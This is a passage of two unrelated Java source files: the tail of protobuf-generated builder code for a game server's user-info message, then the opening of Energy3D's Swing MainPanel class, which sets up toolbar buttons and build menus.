bitField0_ = (bitField0_ & ~0x00000008);
hideSuit_ = false;
bitField0_ = (bitField0_ & ~0x00000010);
guidestep_ = 0;
bitField0_ = (bitField0_ & ~0x00000020);
musicSwitch_ = false;
bitField0_ = (bitField0_ & ~0x00000040);
effectSwitch_ = false;
bitField0_ = (bitField0_ & ~0x00000080);
musicVolume_ = 0;
bitField0_ = (bitField0_ & ~0x00000100);
effectVolume_ = 0;
bitField0_ = (bitField0_ & ~0x00000200);
loginLottery_ = false;
bitField0_ = (bitField0_ & ~0x00000400);
url_ = "";
bitField0_ = (bitField0_ & ~0x00000800);
continuLoginTimes_ = 0;
bitField0_ = (bitField0_ & ~0x00001000);
remainLotteryTimes_ = 0;
bitField0_ = (bitField0_ & ~0x00002000);
isyellowDiamond_ = false;
bitField0_ = (bitField0_ & ~0x00004000);
isyellowDiamondYear_ = false;
bitField0_ = (bitField0_ & ~0x00008000);
yellowDiamondLevel_ = 0;
bitField0_ = (bitField0_ & ~0x00010000);
todayWaterTimes_ = 0;
bitField0_ = (bitField0_ & ~0x00020000);
canHarvestTree_ = false;
bitField0_ = (bitField0_ & ~0x00040000);
buyitemcount_ = java.util.Collections.emptyList();;
bitField0_ = (bitField0_ & ~0x00080000);
return this;
}
public Builder clone() {
return create().mergeFrom(buildPartial());
}
public com.google.protobuf.Descriptors.Descriptor
getDescriptorForType() {
return com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo.getDescriptor();
}
public com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo getDefaultInstanceForType() {
return com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo.getDefaultInstance();
}
public com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo build() {
com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo result = buildPartial();
if (!result.isInitialized()) {
throw newUninitializedMessageException(result);
}
return result;
}
private com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo buildParsed()
throws com.google.protobuf.InvalidProtocolBufferException {
com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo result = buildPartial();
if (!result.isInitialized()) {
throw newUninitializedMessageException(
result).asInvalidProtocolBufferException();
}
return result;
}
public com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo buildPartial() {
com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo result = new com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo(this);
int from_bitField0_ = bitField0_;
int to_bitField0_ = 0;
if (((from_bitField0_ & 0x00000001) == 0x00000001)) {
to_bitField0_ |= 0x00000001;
}
result.roleName_ = roleName_;
if (((from_bitField0_ & 0x00000002) == 0x00000002)) {
to_bitField0_ |= 0x00000002;
}
result.gender_ = gender_;
if (((from_bitField0_ & 0x00000004) == 0x00000004)) {
to_bitField0_ |= 0x00000004;
}
result.hideHat_ = hideHat_;
if (((from_bitField0_ & 0x00000008) == 0x00000008)) {
to_bitField0_ |= 0x00000008;
}
result.hideGlasses_ = hideGlasses_;
if (((from_bitField0_ & 0x00000010) == 0x00000010)) {
to_bitField0_ |= 0x00000010;
}
result.hideSuit_ = hideSuit_;
if (((from_bitField0_ & 0x00000020) == 0x00000020)) {
to_bitField0_ |= 0x00000020;
}
result.guidestep_ = guidestep_;
if (((from_bitField0_ & 0x00000040) == 0x00000040)) {
to_bitField0_ |= 0x00000040;
}
result.musicSwitch_ = musicSwitch_;
if (((from_bitField0_ & 0x00000080) == 0x00000080)) {
to_bitField0_ |= 0x00000080;
}
result.effectSwitch_ = effectSwitch_;
if (((from_bitField0_ & 0x00000100) == 0x00000100)) {
to_bitField0_ |= 0x00000100;
}
result.musicVolume_ = musicVolume_;
if (((from_bitField0_ & 0x00000200) == 0x00000200)) {
to_bitField0_ |= 0x00000200;
}
result.effectVolume_ = effectVolume_;
if (((from_bitField0_ & 0x00000400) == 0x00000400)) {
to_bitField0_ |= 0x00000400;
}
result.loginLottery_ = loginLottery_;
if (((from_bitField0_ & 0x00000800) == 0x00000800)) {
to_bitField0_ |= 0x00000800;
}
result.url_ = url_;
if (((from_bitField0_ & 0x00001000) == 0x00001000)) {
to_bitField0_ |= 0x00001000;
}
result.continuLoginTimes_ = continuLoginTimes_;
if (((from_bitField0_ & 0x00002000) == 0x00002000)) {
to_bitField0_ |= 0x00002000;
}
result.remainLotteryTimes_ = remainLotteryTimes_;
if (((from_bitField0_ & 0x00004000) == 0x00004000)) {
to_bitField0_ |= 0x00004000;
}
result.isyellowDiamond_ = isyellowDiamond_;
if (((from_bitField0_ & 0x00008000) == 0x00008000)) {
to_bitField0_ |= 0x00008000;
}
result.isyellowDiamondYear_ = isyellowDiamondYear_;
if (((from_bitField0_ & 0x00010000) == 0x00010000)) {
to_bitField0_ |= 0x00010000;
}
result.yellowDiamondLevel_ = yellowDiamondLevel_;
if (((from_bitField0_ & 0x00020000) == 0x00020000)) {
to_bitField0_ |= 0x00020000;
}
result.todayWaterTimes_ = todayWaterTimes_;
if (((from_bitField0_ & 0x00040000) == 0x00040000)) {
to_bitField0_ |= 0x00040000;
}
result.canHarvestTree_ = canHarvestTree_;
if (((bitField0_ & 0x00080000) == 0x00080000)) {
buyitemcount_ = java.util.Collections.unmodifiableList(buyitemcount_);
bitField0_ = (bitField0_ & ~0x00080000);
}
result.buyitemcount_ = buyitemcount_;
result.bitField0_ = to_bitField0_;
onBuilt();
return result;
}
public Builder mergeFrom(com.google.protobuf.Message other) {
if (other instanceof com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo) {
return mergeFrom((com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo)other);
} else {
super.mergeFrom(other);
return this;
}
}
public Builder mergeFrom(com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo other) {
if (other == com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo.getDefaultInstance()) return this;
if (other.hasRoleName()) {
setRoleName(other.getRoleName());
}
if (other.hasGender()) {
setGender(other.getGender());
}
if (other.hasHideHat()) {
setHideHat(other.getHideHat());
}
if (other.hasHideGlasses()) {
setHideGlasses(other.getHideGlasses());
}
if (other.hasHideSuit()) {
setHideSuit(other.getHideSuit());
}
if (other.hasGuidestep()) {
setGuidestep(other.getGuidestep());
}
if (other.hasMusicSwitch()) {
setMusicSwitch(other.getMusicSwitch());
}
if (other.hasEffectSwitch()) {
setEffectSwitch(other.getEffectSwitch());
}
if (other.hasMusicVolume()) {
setMusicVolume(other.getMusicVolume());
}
if (other.hasEffectVolume()) {
setEffectVolume(other.getEffectVolume());
}
if (other.hasLoginLottery()) {
setLoginLottery(other.getLoginLottery());
}
if (other.hasUrl()) {
setUrl(other.getUrl());
}
if (other.hasContinuLoginTimes()) {
setContinuLoginTimes(other.getContinuLoginTimes());
}
if (other.hasRemainLotteryTimes()) {
setRemainLotteryTimes(other.getRemainLotteryTimes());
}
if (other.hasIsyellowDiamond()) {
setIsyellowDiamond(other.getIsyellowDiamond());
}
if (other.hasIsyellowDiamondYear()) {
setIsyellowDiamondYear(other.getIsyellowDiamondYear());
}
if (other.hasYellowDiamondLevel()) {
setYellowDiamondLevel(other.getYellowDiamondLevel());
}
if (other.hasTodayWaterTimes()) {
setTodayWaterTimes(other.getTodayWaterTimes());
}
if (other.hasCanHarvestTree()) {
setCanHarvestTree(other.getCanHarvestTree());
}
if (!other.buyitemcount_.isEmpty()) {
if (buyitemcount_.isEmpty()) {
buyitemcount_ = other.buyitemcount_;
bitField0_ = (bitField0_ & ~0x00080000);
} else {
ensureBuyitemcountIsMutable();
buyitemcount_.addAll(other.buyitemcount_);
}
onChanged();
}
this.mergeUnknownFields(other.getUnknownFields());
return this;
}
public final boolean isInitialized() {
if (!hasRoleName()) {
return false;
}
if (!hasGender()) {
return false;
}
if (!hasHideHat()) {
return false;
}
if (!hasHideGlasses()) {
return false;
}
if (!hasHideSuit()) {
return false;
}
if (!hasGuidestep()) {
return false;
}
if (!hasMusicSwitch()) {
return false;
}
if (!hasEffectSwitch()) {
return false;
}
if (!hasMusicVolume()) {
return false;
}
if (!hasEffectVolume()) {
return false;
}
if (!hasLoginLottery()) {
return false;
}
return true;
}
public Builder mergeFrom(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws java.io.IOException {
com.google.protobuf.UnknownFieldSet.Builder unknownFields =
com.google.protobuf.UnknownFieldSet.newBuilder(
this.getUnknownFields());
while (true) {
int tag = input.readTag();
switch (tag) {
case 0:
this.setUnknownFields(unknownFields.build());
onChanged();
return this;
default: {
if (!parseUnknownField(input, unknownFields,
extensionRegistry, tag)) {
this.setUnknownFields(unknownFields.build());
onChanged();
return this;
}
break;
}
case 10: {
bitField0_ |= 0x00000001;
roleName_ = input.readBytes();
break;
}
case 16: {
bitField0_ |= 0x00000002;
gender_ = input.readInt32();
break;
}
case 24: {
bitField0_ |= 0x00000004;
hideHat_ = input.readBool();
break;
}
case 32: {
bitField0_ |= 0x00000008;
hideGlasses_ = input.readBool();
break;
}
case 40: {
bitField0_ |= 0x00000010;
hideSuit_ = input.readBool();
break;
}
case 48: {
bitField0_ |= 0x00000020;
guidestep_ = input.readInt32();
break;
}
case 56: {
bitField0_ |= 0x00000040;
musicSwitch_ = input.readBool();
break;
}
case 64: {
bitField0_ |= 0x00000080;
effectSwitch_ = input.readBool();
break;
}
case 72: {
bitField0_ |= 0x00000100;
musicVolume_ = input.readInt32();
break;
}
case 80: {
bitField0_ |= 0x00000200;
effectVolume_ = input.readInt32();
break;
}
case 88: {
bitField0_ |= 0x00000400;
loginLottery_ = input.readBool();
break;
}
case 98: {
bitField0_ |= 0x00000800;
url_ = input.readBytes();
break;
}
case 104: {
bitField0_ |= 0x00001000;
continuLoginTimes_ = input.readInt32();
break;
}
case 112: {
bitField0_ |= 0x00002000;
remainLotteryTimes_ = input.readInt32();
break;
}
case 120: {
bitField0_ |= 0x00004000;
isyellowDiamond_ = input.readBool();
break;
}
case 128: {
bitField0_ |= 0x00008000;
isyellowDiamondYear_ = input.readBool();
break;
}
case 136: {
bitField0_ |= 0x00010000;
yellowDiamondLevel_ = input.readInt32();
break;
}
case 144: {
bitField0_ |= 0x00020000;
todayWaterTimes_ = input.readInt32();
break;
}
case 152: {
bitField0_ |= 0x00040000;
canHarvestTree_ = input.readBool();
break;
}
case 160: {
ensureBuyitemcountIsMutable();
buyitemcount_.add(input.readInt32());
break;
}
case 162: {
int length = input.readRawVarint32();
int limit = input.pushLimit(length);
while (input.getBytesUntilLimit() > 0) {
addBuyitemcount(input.readInt32());
}
input.popLimit(limit);
break;
}
}
}
}
private int bitField0_;
// required string roleName = 1;
private java.lang.Object roleName_ = "";
public boolean hasRoleName() {
return ((bitField0_ & 0x00000001) == 0x00000001);
}
public String getRoleName() {
java.lang.Object ref = roleName_;
if (!(ref instanceof String)) {
String s = ((com.google.protobuf.ByteString) ref).toStringUtf8();
roleName_ = s;
return s;
} else {
return (String) ref;
}
}
public Builder setRoleName(String value) {
if (value == null) {
throw new NullPointerException();
}
bitField0_ |= 0x00000001;
roleName_ = value;
onChanged();
return this;
}
public Builder clearRoleName() {
bitField0_ = (bitField0_ & ~0x00000001);
roleName_ = getDefaultInstance().getRoleName();
onChanged();
return this;
}
void setRoleName(com.google.protobuf.ByteString value) {
bitField0_ |= 0x00000001;
roleName_ = value;
onChanged();
}
// required int32 gender = 2;
private int gender_ ;
public boolean hasGender() {
return ((bitField0_ & 0x00000002) == 0x00000002);
}
public int getGender() {
return gender_;
}
public Builder setGender(int value) {
bitField0_ |= 0x00000002;
gender_ = value;
onChanged();
return this;
}
public Builder clearGender() {
bitField0_ = (bitField0_ & ~0x00000002);
gender_ = 0;
onChanged();
return this;
}
// required bool hideHat = 3;
private boolean hideHat_ ;
public boolean hasHideHat() {
return ((bitField0_ & 0x00000004) == 0x00000004);
}
public boolean getHideHat() {
return hideHat_;
}
public Builder setHideHat(boolean value) {
bitField0_ |= 0x00000004;
hideHat_ = value;
onChanged();
return this;
}
public Builder clearHideHat() {
bitField0_ = (bitField0_ & ~0x00000004);
hideHat_ = false;
onChanged();
return this;
}
// required bool hideGlasses = 4;
private boolean hideGlasses_ ;
public boolean hasHideGlasses() {
return ((bitField0_ & 0x00000008) == 0x00000008);
}
public boolean getHideGlasses() {
return hideGlasses_;
}
public Builder setHideGlasses(boolean value) {
bitField0_ |= 0x00000008;
hideGlasses_ = value;
onChanged();
return this;
}
public Builder clearHideGlasses() {
bitField0_ = (bitField0_ & ~0x00000008);
hideGlasses_ = false;
onChanged();
return this;
}
// required bool hideSuit = 5;
private boolean hideSuit_ ;
public boolean hasHideSuit() {
return ((bitField0_ & 0x00000010) == 0x00000010);
}
public boolean getHideSuit() {
return hideSuit_;
}
public Builder setHideSuit(boolean value) {
bitField0_ |= 0x00000010;
hideSuit_ = value;
onChanged();
return this;
}
public Builder clearHideSuit() {
bitField0_ = (bitField0_ & ~0x00000010);
hideSuit_ = false;
onChanged();
return this;
}
// required int32 guidestep = 6;
private int guidestep_ ;
public boolean hasGuidestep() {
return ((bitField0_ & 0x00000020) == 0x00000020);
}
public int getGuidestep() {
return guidestep_;
}
public Builder setGuidestep(int value) {
bitField0_ |= 0x00000020;
guidestep_ = value;
onChanged();
return this;
}
public Builder clearGuidestep() {
bitField0_ = (bitField0_ & ~0x00000020);
guidestep_ = 0;
onChanged();
return this;
}
// required bool musicSwitch = 7;
private boolean musicSwitch_ ;
public boolean hasMusicSwitch() {
return ((bitField0_ & 0x00000040) == 0x00000040);
}
public boolean getMusicSwitch() {
return musicSwitch_;
}
public Builder setMusicSwitch(boolean value) {
bitField0_ |= 0x00000040;
musicSwitch_ = value;
onChanged();
return this;
}
public Builder clearMusicSwitch() {
bitField0_ = (bitField0_ & ~0x00000040);
musicSwitch_ = false;
onChanged();
return this;
}
// required bool effectSwitch = 8;
private boolean effectSwitch_ ;
public boolean hasEffectSwitch() {
return ((bitField0_ & 0x00000080) == 0x00000080);
}
public boolean getEffectSwitch() {
return effectSwitch_;
}
public Builder setEffectSwitch(boolean value) {
bitField0_ |= 0x00000080;
effectSwitch_ = value;
onChanged();
return this;
}
public Builder clearEffectSwitch() {
bitField0_ = (bitField0_ & ~0x00000080);
effectSwitch_ = false;
onChanged();
return this;
}
// required int32 musicVolume = 9;
private int musicVolume_ ;
public boolean hasMusicVolume() {
return ((bitField0_ & 0x00000100) == 0x00000100);
}
public int getMusicVolume() {
return musicVolume_;
}
public Builder setMusicVolume(int value) {
bitField0_ |= 0x00000100;
musicVolume_ = value;
onChanged();
return this;
}
public Builder clearMusicVolume() {
bitField0_ = (bitField0_ & ~0x00000100);
musicVolume_ = 0;
onChanged();
return this;
}
// required int32 effectVolume = 10;
private int effectVolume_ ;
public boolean hasEffectVolume() {
return ((bitField0_ & 0x00000200) == 0x00000200);
}
public int getEffectVolume() {
return effectVolume_;
}
public Builder setEffectVolume(int value) {
bitField0_ |= 0x00000200;
effectVolume_ = value;
onChanged();
return this;
}
public Builder clearEffectVolume() {
bitField0_ = (bitField0_ & ~0x00000200);
effectVolume_ = 0;
onChanged();
return this;
}
// required bool loginLottery = 11 [default = false];
private boolean loginLottery_ ;
public boolean hasLoginLottery() {
return ((bitField0_ & 0x00000400) == 0x00000400);
}
public boolean getLoginLottery() {
return loginLottery_;
}
public Builder setLoginLottery(boolean value) {
bitField0_ |= 0x00000400;
loginLottery_ = value;
onChanged();
return this;
}
public Builder clearLoginLottery() {
bitField0_ = (bitField0_ & ~0x00000400);
loginLottery_ = false;
onChanged();
return this;
}
// optional string url = 12 [default = ""];
private java.lang.Object url_ = "";
public boolean hasUrl() {
return ((bitField0_ & 0x00000800) == 0x00000800);
}
public String getUrl() {
java.lang.Object ref = url_;
if (!(ref instanceof String)) {
String s = ((com.google.protobuf.ByteString) ref).toStringUtf8();
url_ = s;
return s;
} else {
return (String) ref;
}
}
public Builder setUrl(String value) {
if (value == null) {
throw new NullPointerException();
}
bitField0_ |= 0x00000800;
url_ = value;
onChanged();
return this;
}
public Builder clearUrl() {
bitField0_ = (bitField0_ & ~0x00000800);
url_ = getDefaultInstance().getUrl();
onChanged();
return this;
}
void setUrl(com.google.protobuf.ByteString value) {
bitField0_ |= 0x00000800;
url_ = value;
onChanged();
}
// optional int32 continuLoginTimes = 13;
private int continuLoginTimes_ ;
public boolean hasContinuLoginTimes() {
return ((bitField0_ & 0x00001000) == 0x00001000);
}
public int getContinuLoginTimes() {
return continuLoginTimes_;
}
public Builder setContinuLoginTimes(int value) {
bitField0_ |= 0x00001000;
continuLoginTimes_ = value;
onChanged();
return this;
}
public Builder clearContinuLoginTimes() {
bitField0_ = (bitField0_ & ~0x00001000);
continuLoginTimes_ = 0;
onChanged();
return this;
}
// optional int32 remainLotteryTimes = 14;
private int remainLotteryTimes_ ;
public boolean hasRemainLotteryTimes() {
return ((bitField0_ & 0x00002000) == 0x00002000);
}
public int getRemainLotteryTimes() {
return remainLotteryTimes_;
}
public Builder setRemainLotteryTimes(int value) {
bitField0_ |= 0x00002000;
remainLotteryTimes_ = value;
onChanged();
return this;
}
public Builder clearRemainLotteryTimes() {
bitField0_ = (bitField0_ & ~0x00002000);
remainLotteryTimes_ = 0;
onChanged();
return this;
}
// optional bool isyellowDiamond = 15 [default = false];
private boolean isyellowDiamond_ ;
public boolean hasIsyellowDiamond() {
return ((bitField0_ & 0x00004000) == 0x00004000);
}
public boolean getIsyellowDiamond() {
return isyellowDiamond_;
}
public Builder setIsyellowDiamond(boolean value) {
bitField0_ |= 0x00004000;
isyellowDiamond_ = value;
onChanged();
return this;
}
public Builder clearIsyellowDiamond() {
bitField0_ = (bitField0_ & ~0x00004000);
isyellowDiamond_ = false;
onChanged();
return this;
}
// optional bool isyellowDiamondYear = 16 [default = false];
private boolean isyellowDiamondYear_ ;
public boolean hasIsyellowDiamondYear() {
return ((bitField0_ & 0x00008000) == 0x00008000);
}
public boolean getIsyellowDiamondYear() {
return isyellowDiamondYear_;
}
public Builder setIsyellowDiamondYear(boolean value) {
bitField0_ |= 0x00008000;
isyellowDiamondYear_ = value;
onChanged();
return this;
}
public Builder clearIsyellowDiamondYear() {
bitField0_ = (bitField0_ & ~0x00008000);
isyellowDiamondYear_ = false;
onChanged();
return this;
}
// optional int32 yellowDiamondLevel = 17 [default = 0];
private int yellowDiamondLevel_ ;
public boolean hasYellowDiamondLevel() {
return ((bitField0_ & 0x00010000) == 0x00010000);
}
public int getYellowDiamondLevel() {
return yellowDiamondLevel_;
}
public Builder setYellowDiamondLevel(int value) {
bitField0_ |= 0x00010000;
yellowDiamondLevel_ = value;
onChanged();
return this;
}
public Builder clearYellowDiamondLevel() {
bitField0_ = (bitField0_ & ~0x00010000);
yellowDiamondLevel_ = 0;
onChanged();
return this;
}
// optional int32 today_water_times = 18 [default = 0];
private int todayWaterTimes_ ;
public boolean hasTodayWaterTimes() {
return ((bitField0_ & 0x00020000) == 0x00020000);
}
public int getTodayWaterTimes() {
return todayWaterTimes_;
}
public Builder setTodayWaterTimes(int value) {
bitField0_ |= 0x00020000;
todayWaterTimes_ = value;
onChanged();
return this;
}
public Builder clearTodayWaterTimes() {
bitField0_ = (bitField0_ & ~0x00020000);
todayWaterTimes_ = 0;
onChanged();
return this;
}
// optional bool can_harvest_tree = 19 [default = false];
private boolean canHarvestTree_ ;
public boolean hasCanHarvestTree() {
return ((bitField0_ & 0x00040000) == 0x00040000);
}
public boolean getCanHarvestTree() {
return canHarvestTree_;
}
public Builder setCanHarvestTree(boolean value) {
bitField0_ |= 0x00040000;
canHarvestTree_ = value;
onChanged();
return this;
}
public Builder clearCanHarvestTree() {
bitField0_ = (bitField0_ & ~0x00040000);
canHarvestTree_ = false;
onChanged();
return this;
}
// repeated int32 buyitemcount = 20;
private java.util.List<java.lang.Integer> buyitemcount_ = java.util.Collections.emptyList();;
private void ensureBuyitemcountIsMutable() {
if (!((bitField0_ & 0x00080000) == 0x00080000)) {
buyitemcount_ = new java.util.ArrayList<java.lang.Integer>(buyitemcount_);
bitField0_ |= 0x00080000;
}
}
public java.util.List<java.lang.Integer>
getBuyitemcountList() {
return java.util.Collections.unmodifiableList(buyitemcount_);
}
public int getBuyitemcountCount() {
return buyitemcount_.size();
}
public int getBuyitemcount(int index) {
return buyitemcount_.get(index);
}
public Builder setBuyitemcount(
int index, int value) {
ensureBuyitemcountIsMutable();
buyitemcount_.set(index, value);
onChanged();
return this;
}
public Builder addBuyitemcount(int value) {
ensureBuyitemcountIsMutable();
buyitemcount_.add(value);
onChanged();
return this;
}
public Builder addAllBuyitemcount(
java.lang.Iterable<? extends java.lang.Integer> values) {
ensureBuyitemcountIsMutable();
super.addAll(values, buyitemcount_);
onChanged();
return this;
}
public Builder clearBuyitemcount() {
buyitemcount_ = java.util.Collections.emptyList();;
bitField0_ = (bitField0_ & ~0x00080000);
onChanged();
return this;
}
// @@protoc_insertion_point(builder_scope:com.xinqihd.sns.gameserver.proto.BseUserInfo)
}
static {
defaultInstance = new BseUserInfo(true);
defaultInstance.initFields();
}
// @@protoc_insertion_point(class_scope:com.xinqihd.sns.gameserver.proto.BseUserInfo)
}
private static com.google.protobuf.Descriptors.Descriptor
internal_static_com_xinqihd_sns_gameserver_proto_BseUserInfo_descriptor;
private static
com.google.protobuf.GeneratedMessage.FieldAccessorTable
internal_static_com_xinqihd_sns_gameserver_proto_BseUserInfo_fieldAccessorTable;
public static com.google.protobuf.Descriptors.FileDescriptor
getDescriptor() {
return descriptor;
}
private static com.google.protobuf.Descriptors.FileDescriptor
descriptor;
static {
java.lang.String[] descriptorData = {
"\n\016UserInfo.proto\022 com.xinqihd.sns.gamese" +
"rver.proto\"\353\003\n\013BseUserInfo\022\020\n\010roleName\030\001" +
" \002(\t\022\016\n\006gender\030\002 \002(\005\022\017\n\007hideHat\030\003 \002(\010\022\023\n" +
"\013hideGlasses\030\004 \002(\010\022\020\n\010hideSuit\030\005 \002(\010\022\021\n\t" +
"guidestep\030\006 \002(\005\022\023\n\013musicSwitch\030\007 \002(\010\022\024\n\014" +
"effectSwitch\030\010 \002(\010\022\023\n\013musicVolume\030\t \002(\005\022" +
"\024\n\014effectVolume\030\n \002(\005\022\033\n\014loginLottery\030\013 " +
"\002(\010:\005false\022\r\n\003url\030\014 \001(\t:\000\022\031\n\021continuLogi" +
"nTimes\030\r \001(\005\022\032\n\022remainLotteryTimes\030\016 \001(\005" +
"\022\036\n\017isyellowDiamond\030\017 \001(\010:\005false\022\"\n\023isye",
"llowDiamondYear\030\020 \001(\010:\005false\022\035\n\022yellowDi" +
"amondLevel\030\021 \001(\005:\0010\022\034\n\021today_water_times" +
"\030\022 \001(\005:\0010\022\037\n\020can_harvest_tree\030\023 \001(\010:\005fal" +
"se\022\024\n\014buyitemcount\030\024 \003(\005B\022B\020XinqiBseUser" +
"Info"
};
com.google.protobuf.Descriptors.FileDescriptor.InternalDescriptorAssigner assigner =
new com.google.protobuf.Descriptors.FileDescriptor.InternalDescriptorAssigner() {
public com.google.protobuf.ExtensionRegistry assignDescriptors(
com.google.protobuf.Descriptors.FileDescriptor root) {
descriptor = root;
internal_static_com_xinqihd_sns_gameserver_proto_BseUserInfo_descriptor =
getDescriptor().getMessageTypes().get(0);
internal_static_com_xinqihd_sns_gameserver_proto_BseUserInfo_fieldAccessorTable = new
com.google.protobuf.GeneratedMessage.FieldAccessorTable(
internal_static_com_xinqihd_sns_gameserver_proto_BseUserInfo_descriptor,
new java.lang.String[] { "RoleName", "Gender", "HideHat", "HideGlasses", "HideSuit", "Guidestep", "MusicSwitch", "EffectSwitch", "MusicVolume", "EffectVolume", "LoginLottery", "Url", "ContinuLoginTimes", "RemainLotteryTimes", "IsyellowDiamond", "IsyellowDiamondYear", "YellowDiamondLevel", "TodayWaterTimes", "CanHarvestTree", "Buyitemcount", },
com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo.class,
com.xinqihd.sns.gameserver.proto.XinqiBseUserInfo.BseUserInfo.Builder.class);
return null;
}
};
com.google.protobuf.Descriptors.FileDescriptor
.internalBuildGeneratedFileFrom(descriptorData,
new com.google.protobuf.Descriptors.FileDescriptor[] {
}, assigner);
}
// @@protoc_insertion_point(outer_class_scope)
}
| |
package org.concord.energy3d.gui;
import org.concord.energy3d.MainApplication;
import org.concord.energy3d.logger.SnapshotLogger;
import org.concord.energy3d.logger.TimeSeriesLogger;
import org.concord.energy3d.model.*;
import org.concord.energy3d.scene.PrintController;
import org.concord.energy3d.scene.Scene;
import org.concord.energy3d.scene.SceneManager;
import org.concord.energy3d.scene.SceneManager.Operation;
import org.concord.energy3d.shapes.Heliodon;
import org.concord.energy3d.undo.*;
import org.concord.energy3d.util.Config;
import org.concord.energy3d.util.Util;
import javax.swing.*;
import javax.swing.border.EmptyBorder;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import javax.swing.text.BadLocationException;
import java.awt.*;
import java.awt.event.ActionListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
public class MainPanel extends JPanel {
private static final long serialVersionUID = 1L;
private static final MainPanel instance = new MainPanel();
private JToolBar appToolbar;
private JToggleButton selectButton;
private JToggleButton wallButton;
private JToggleButton roofButton;
private JToggleButton baseButton;
private JToggleButton shadowButton;
private JToggleButton spinViewButton;
private JToggleButton resizeButton;
private JToggleButton heliodonButton;
private JToggleButton sunAnimButton;
private JToggleButton annotationButton;
private JToggleButton previewButton;
private JToggleButton zoomButton;
private JToggleButton noteButton;
private JSplitPane energyCanvasNoteSplitPane;
private EnergyPanel energyPanel;
private JPanel canvasPanel;
private JToggleButton energyButton;
private JSplitPane canvasNoteSplitPane;
private JScrollPane noteScrollPane;
private JTextArea noteTextArea;
private JToggleButton solarButton;
private JToggleButton miscButton;
private JButton rotateButton;
private JButton baseArrowButton;
private JButton wallArrowButton;
private JButton roofArrowButton;
private JButton miscArrowButton;
private JButton solaArrowButton;
private int defaultDividerSize = -1;
private final JPopupMenu baseMenu;
private final JPopupMenu wallMenu;
private final JPopupMenu roofMenu;
private final JPopupMenu miscMenu;
private final JPopupMenu solaMenu;
private Operation baseCommand = SceneManager.Operation.DRAW_FOUNDATION;
private Operation wallCommand = SceneManager.Operation.DRAW_EXTERIOR_WALL;
private Operation roofCommand = SceneManager.Operation.ADD_ROOF_PYRAMID;
private Operation miscCommand = SceneManager.Operation.DRAW_WINDOW;
private Operation solaCommand = SceneManager.Operation.ADD_RACK;
private final double rotationAngleAbsolute = 5 * Math.PI / 180;
private double rotationAngle = -rotationAngleAbsolute;
private String noteString = "";
private final MouseAdapter refreshUponMouseExit = new MouseAdapter() {
@Override
public void mouseExited(final MouseEvent e) {
SceneManager.getInstance().refresh();
}
};
private final MouseAdapter operationStickAndRefreshUponExit = new MouseAdapter() {
@Override
public void mouseClicked(final MouseEvent e) {
if (e.getClickCount() > 1) {
SceneManager.getInstance().setOperationStick(true);
}
}
@Override
public void mouseExited(final MouseEvent e) {
SceneManager.getInstance().refresh();
}
};
public static MainPanel getInstance() {
return instance;
}
private MainPanel() {
super();
System.out.println("Version: " + MainApplication.VERSION);
System.out.print("Initiating MainPanel...");
ToolTipManager.sharedInstance().setLightWeightPopupEnabled(false);
ToolTipManager.sharedInstance().setDismissDelay(Integer.MAX_VALUE);
initialize();
// create base menu
final JCheckBoxMenuItem miFoundation = new JCheckBoxMenuItem("Foundation", new ImageIcon(getClass().getResource("icons/foundation.png")), true);
final JCheckBoxMenuItem miBox = new JCheckBoxMenuItem("Box", new ImageIcon(getClass().getResource("icons/box.png")), true);
final ActionListener baseAction = e -> {
final JCheckBoxMenuItem selected = (JCheckBoxMenuItem) e.getSource();
baseButton.setIcon(selected.getIcon());
if (selected == miFoundation) {
baseCommand = Operation.DRAW_FOUNDATION;
baseButton.setToolTipText("Draw a foundation");
} else if (selected == miBox) {
baseCommand = Operation.ADD_BOX;
baseButton.setToolTipText("Add a box");
}
SceneManager.getInstance().setOperation(baseCommand);
baseButton.setSelected(true);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
};
miFoundation.addActionListener(baseAction);
miBox.addActionListener(baseAction);
baseMenu = new JPopupMenu();
baseMenu.add(miFoundation);
baseMenu.add(miBox);
ButtonGroup bg = new ButtonGroup();
bg.add(miFoundation);
bg.add(miBox);
// create wall menu
final JCheckBoxMenuItem miExteriorWall = new JCheckBoxMenuItem("Exterior Wall", new ImageIcon(getClass().getResource("icons/exterior_wall.png")), true);
final JCheckBoxMenuItem miInteriorWall = new JCheckBoxMenuItem("Interior Wall", new ImageIcon(getClass().getResource("icons/interior_wall.png")), true);
miInteriorWall.setEnabled(false);
final ActionListener wallAction = e -> {
final JCheckBoxMenuItem selected = (JCheckBoxMenuItem) e.getSource();
wallButton.setIcon(selected.getIcon());
if (selected == miExteriorWall) {
wallCommand = Operation.DRAW_EXTERIOR_WALL;
wallButton.setToolTipText("Draw an exterior wall");
} else if (selected == miInteriorWall) {
wallCommand = Operation.DRAW_INTERIOR_WALL;
wallButton.setToolTipText("Draw an interior wall");
}
SceneManager.getInstance().setOperation(wallCommand);
wallButton.setSelected(true);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
};
miExteriorWall.addActionListener(wallAction);
miInteriorWall.addActionListener(wallAction);
wallMenu = new JPopupMenu();
wallMenu.add(miExteriorWall);
wallMenu.add(miInteriorWall);
bg = new ButtonGroup();
bg.add(miExteriorWall);
bg.add(miInteriorWall);
// create roof menu
